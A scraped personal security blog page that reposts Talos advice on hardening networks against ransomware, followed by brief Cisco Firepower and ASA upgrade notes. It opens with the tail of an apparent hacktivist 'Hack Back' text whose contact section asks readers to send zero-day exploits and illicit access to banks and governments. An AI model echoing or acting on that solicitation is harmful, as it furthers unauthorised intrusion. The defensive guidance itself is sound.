to all those who have had their blood spilled by Italian fascists.

[1] https://twitter.com/coracurrier/status/618104723263090688


--[ 18 - Contact ]--------------------------------------------------------------

To send me spear phishing attempts, death threats in Italian [1][2], and to
give me 0days or access inside banks, corporations, governments, etc.

[1] http://andres.delgado.ec/2016/01/15/el-miedo-de-vigilar-a-los-vigilantes/
[2] https://twitter.com/CthulhuSec/status/619459002854977537

only encrypted email please:
https://securityinabox.org/es/thunderbird_usarenigmail
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                      If not you, who? If not now, when?
                _   _            _      ____             _    _ 
               | | | | __ _  ___| | __ | __ )  __ _  ___| | _| |
               | |_| |/ _` |/ __| |/ / |  _ \ / _` |/ __| |/ / |
               |  _  | (_| | (__|   <  | |_) | (_| | (__|   <|_|
               |_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_)

mitigating ransome ware

From http://blog.talosintel.com/2016/04/ransomware.html#more

 Preventing Initial Access


There are things can be done to prevent the attack before it even starts. If the attackers cannot establish initial access in the target network easily, this increases the likelihood that attackers will seek easier prey elsewhere. Our attackers are opportunistic and are looking to turn about a profit with as little effort as possible. If initial access cannot be easily established, this increases the likelihood they will seek out easier prey. Initial access usually comes in one of two forms: Exploitation of public-facing services, or phishing/social engineering.

DMZ Hardening tips


DMZ hardening amounts to a couple of key housekeeping and maintenance tasks:
  • Periodic port scans: Port scans can be utilized to map one's DMZ and gain a better view on actual services and operating systems an organization is exposing to the internet. Once you have a collection of exposed services, you can map the public addresses to private addresses, determine who owns the asset(s) and/or whether or not exposure of the service(s) is even necessary. The lower the number of services exposed to the public internet, the lower the attack surface available.
  • Vulnerability scans/remediation: Once publicly exposed services have been verified, utilize vulnerability scanners against the exposed services. Remediate findings as soon as possible.
  • Regular system maintenance:
    • Find and following system hardening guidelines, such as DISA's STIG[41]
    • Ensure that regular patch maintenance is being performed.
    • Ensure that DMZ system logs are being exported to a log collector/SIEM
    • Any publicly exposed systems/services that require authentication should require strong passwords; Consider implementing two-factor authentication (where possible) instead.
    • Any publicly exposed systems/services that require authentication should have rate limiting, or blocking based on the number of failed guesses to limit the success of brute force attacks

Mitigating Phishing/Social Engineering


While preventing initial access through phishing or social engineering is much more difficult, there are actions that can be taken to mitigate the risks:
  • Consider investing in a company-sanctioned file-sharing program for exchanging files between users in the organization and/or company partners. Utilizing a file-sharing solution, and instructing users to never share or accept files over email can almost completely mitigate phishing attacks utilizing attachments. Instruct your users that the mail server isn't for file exchange, nor is it meant for archiving files.
  • Inform users that do not have to regularly work with macro-enabled office documents to never enable macros. In fact, the majority of your userbase has no requirement to work with macros, disable office macros through group policy, only enabling them for business units with a specific need[42]. For those business units that cannot operate without office macros, consider digitally signed macros to further mitigate that risk.
  • Some phishing attacks are delivered through PDFs and will specifically target vulnerabilities in certain PDF reader applications (e.g. Adobe Reader) to achieve code execution. Consider using an alternative PDF reader and disabling extra functionality (e.g. javascript in PDF).
  • Ensure the email scanning gateways disallow sending and receiving executable files (exe, dll, cpl, scr), javascript (.js files) office documents with macros, and scans .zip files for contents.
  • Enforce checking/verifying SPF records to mitigate spoofed e-mails.
  • Ensure that you have a mail gateway solution that is updated with information on the latest phishing domains (e.g. senderbase, etc.)
  • More often than not, the new gTLDs, as well as dynamic DNS domains are heavily abused in malware campaigns due to how inexpensive they are to acquire. In most cases, they can be blacklisted with little to nothing worry about; they tend to have a very low business relevance. Blacklist dynamic DNS and gTLDs default, whitelist individual domains as required, and only if there is a specific business need.
  • Instruct users to trust but verify, especially for any messages from outside the company with attachments. Simply asking the sender "Did you send this?" Over the phone prior to opening the attachment is all it takes.
  • If users are in any way concerned that they have been phished, instruct them to report the incident. The users shouldn't fear your SOC or security department and should NOT be punished for reporting security incidents.
  • Notify users that IT and/or Security will never ask them for their passwords to reduce the effectiveness of phishing attacks that are attempting to gather user credentials.
  • Disallow the mounting of USB drives. This mitigates the "print my resume for me scenario" as well mitigating self-propagating malware that attempts to jump air gaps through compromised USB drives. If removable media cannot be disabled across the enterprise, at a minimum disable autorun for removable media via GPO, and instruct employees to never accept or use thumb drives from untrusted sources. Instruct users that all thumb drives should be scanned for viruses upon insertion and before users access the files; consider configuring antivirus to perform automatic on-access scans for any USB drives plugged into systems. If utilizing thumb drives in a sensitive airgapped environment is required, consider keeping a collection of thumb drives, tagging them as company assets and signing them out on each use.
  • Ensure that guests are signed in at reception, signed out, and always shadowed. Guests should have an escort with them at all times.
  • Tailgating, or the practice of unauthorized individuals following authorized individuals into a restricted area, and can be a big problem. Most people have a tendency to avoid confrontation, so this makes enforcing tailgating policies a little more difficult, especially when challenging individuals who appear to "have their hands full". This can be mitigated by writing into security policy a requirement that employee badges must be present and visible at all times. Additionally, all authorized guests, vendors, etc. should be required to adhere to this policy, and badge in to all gates and be escorted/shadowed by an employee at all times.

Impeding Lateral Movement and Propagation


If attackers make it through your initial defenses, your goal is to make it is hard as you can for them to move laterally inside your network. Through careful architecture and password management you can make lateral movement much more difficult.
  • Network segmentation is a massive part of impending lateral movement and containing threats easily. The majority of corporate networks are "flat" with little to no segmentation between business units, between users and data, between data specific to business units, etc. The reason you don't typically see network segmentation in large organizations is that it requires coordination and planning on a massive scale. Most networks grow as the need for capacity arises, with little to no thought on segmentation. Business acquisitions are usually focused on how to integrate additional assets quickly as opposed to securely. All of that aside however, the benefits of properly segmented networks cannot be denied. Segmentation can be used to stop and/or slow lateral movement, as well as contain threats. There are multiple components for segmented networks, and this should NOT be considered an exhaustive list, but consider implementing the following:
    • VLAN and subnet segmentation: Each business unit should have its own VLANs and subnets for logically separating access to data. Segmentation should NOT stop at the business unit, however. User workstations need to be segmented from the servers/services required for that business unit, as well as services that are used across business units (e.g. messaging, file sharing, e-mail, etc.) This list of VLANs and subnets should be meticulously maintained and available for both IT and Security staff. If you do not have this information by default, or are looking to try and figure out how to logically separate users, servers and business units, consider looking for DHCP scope configurations and using them as a rule of thumb for subnet and VLAN segmentation.
    • Dedicated firewall/gateway segmentation: firewalls are another important part of network segmentation and an often overlooked portion of internal network design. Understand which business units have a requirement to communicate directly with one another, and which ones do not. Understand which services and ports are required for that inter-business unit communication. Do ingress as well as egress filtering (doing this requires understanding the direction in which data flows for services). Firewall policy should be reviewed regularly. IT and Security staff should have access to the firewall policies and should be included in policy review decisions.
    • Host-based firewalls with ingress/egress filtering configured. Again, ingress and egress. Hosts should not be able to communicate via SMB (139/tcp, 445/tcp) between one another. If file server(s) are set up, then there should effectively be no need for this. If you can effectively disable host-to-host SMB communication, you prevent the attackers from being able to utilize the "pass the hash" for lateral movement. SMB communication should be limited to application distribution platforms, file shares, and/or Domain Controllers.
  • Application Blocking/Whitelisting: Application whitelisting is a built-in feature for windows that can be implemented via software restriction policies[43]. However, not unlike network segmentation it takes a significant amount of time to implement and test, especially if different business units have different application needs. As a stopgap measure, it may be easier to try and block executables that attempt to run from specific locations, such as %TEMP% or %APPDATA% directories on windows systems, making exceptions for certain applications only as necessary[44]. Not unlike network segmentation, whitelisting is a significant time investment, but it is a tremendous boon for containing and preventing initial access AND lateral movement.
  • Role-Based network share permissions (Least Privilege): File shares tend to get incredibly complex between multiple business units, folder permissions and share permissions for the network. Application of least privilege for file shares prevents the compromise of a single user resulting in the loss of most of the data on the network file share in the event of ransomware, as well as preventing compromised accounts being used to access data from different business units; If password security is poor, a compromised user account may be used by attackers to gather credentials stored on file shares with access the user should not have.
  • Proper credential management: Users should be trained to utilize a password manager along with strong passwords for storing network credentials. Train users to NOT re-use

Recovery


Backup recovery is your last line of defense to having to pay out a ransom to the attackers; it's your last bastion in the event that the worst has happened. Your ability to recover from this attack with minimal data loss and/or service interruption amounts to whether or not the system backups and/or disaster recovery sites were compromised as a part of the attacker methodology. Whether or not your backups were compromised depends on how well your backup systems and/or network and/or recovery sites were sufficiently segmented from your main network. Even in the event your organization does not utilize on-site backups at all, instead opting for cloud backup solutions (e.g. Amazon Glacier), if those cloud backup credentials are left in easily accessible locations, or if passwords are reused, our hypothetical adversary could easily delete all backup instances, resulting in 100% data loss if there is no other backup solution in place. The secure, off-site, enterprise backup solution could easily be defeated through password reuse and/or poor password management.

For enterprises utilizing backup solutions, there are a wide variety of backup methodologies; the SANS reading room has a comprehensive document on tape rotation schemes that is incredibly helpful for reviewing different tape backup schemes[45]. Typically as a part of a tape rotation policy, a portion of those tapes are delivered to an off-site storage facility. This is for disaster recovery purposes; if there a catastrophic failure at the site hosting an organization's data, the tapes at the storage facility are still there to recover from at a backup facility. In a scenario in which local backups are deleted, removed, or otherwise made inaccessible by the attackers, off-site backups are often your only hope of restoring service without paying the ransom. Depending on how often your backups are sent off-site determines how much data (if any) would be inaccessible or lost.

Conclusion


The past few years have seen a dramatic uptick in ransomware variants and their deployment on a global scale due. Cyber criminals see an easy opportunity for profit. It is inevitable that these adversaries would look to the past for effective malware behaviors to advance the efficacy of ransomware. Combined with new methodologies in targeting, we anticipate a trend towards ransomware that can self propagate and move semi-autonomously throughout a network to devastating effect.

To emphasize this, one need look no further than SamSam.exe, the malware sample recovered from a number of scattered enterprise network breaches mainly targeting the healthcare vertical. SamSam isn't complex, and it not fully self-sufficient, but it does exhibit some of the behaviors of a successful worm - rapid propagation, payload delivery (ransomware), and crippling recovery efforts. The age of self-propagating ransomware, or "cryptoworms", is right around the corner.

For too long, critical security controls and best practice for enterprise network security has been publicly praised and privately ignored. Drop-in appliances and security solutions can only do so much to protect the network, and will do little to stop this threat if networks continue to be architected and expanded without defense in depth in mind. If enterprises don't start making strides towards defensible architecture today, massive ransoms may end up getting paid tomorrow.

Monday 18 April 2016

Cisco Firepower Notes


Base policy IPS policies lets you avoid tuning IPS
Security over connectivity

Before = Access policies
During = IPS inspection
After = IOC/correlation

Create Banned applications rule

Allow file sharing
Inspection tap
Sec over connectivity
Malware policy ELH Files Policy


ISE attributes
Can be used to block iPads iPhones etc access to critical hosts

Upgrading the RAM in a Cisco ASA

1 - Backup config
2 - Take picture of cables
3 - Label cables
4 - power off ASA and un-cable
5 - Unscrew and open case
6 - Install the new DIMM
7 - re-cable and power on
8 - confirm upgrade with sh ver | i RAM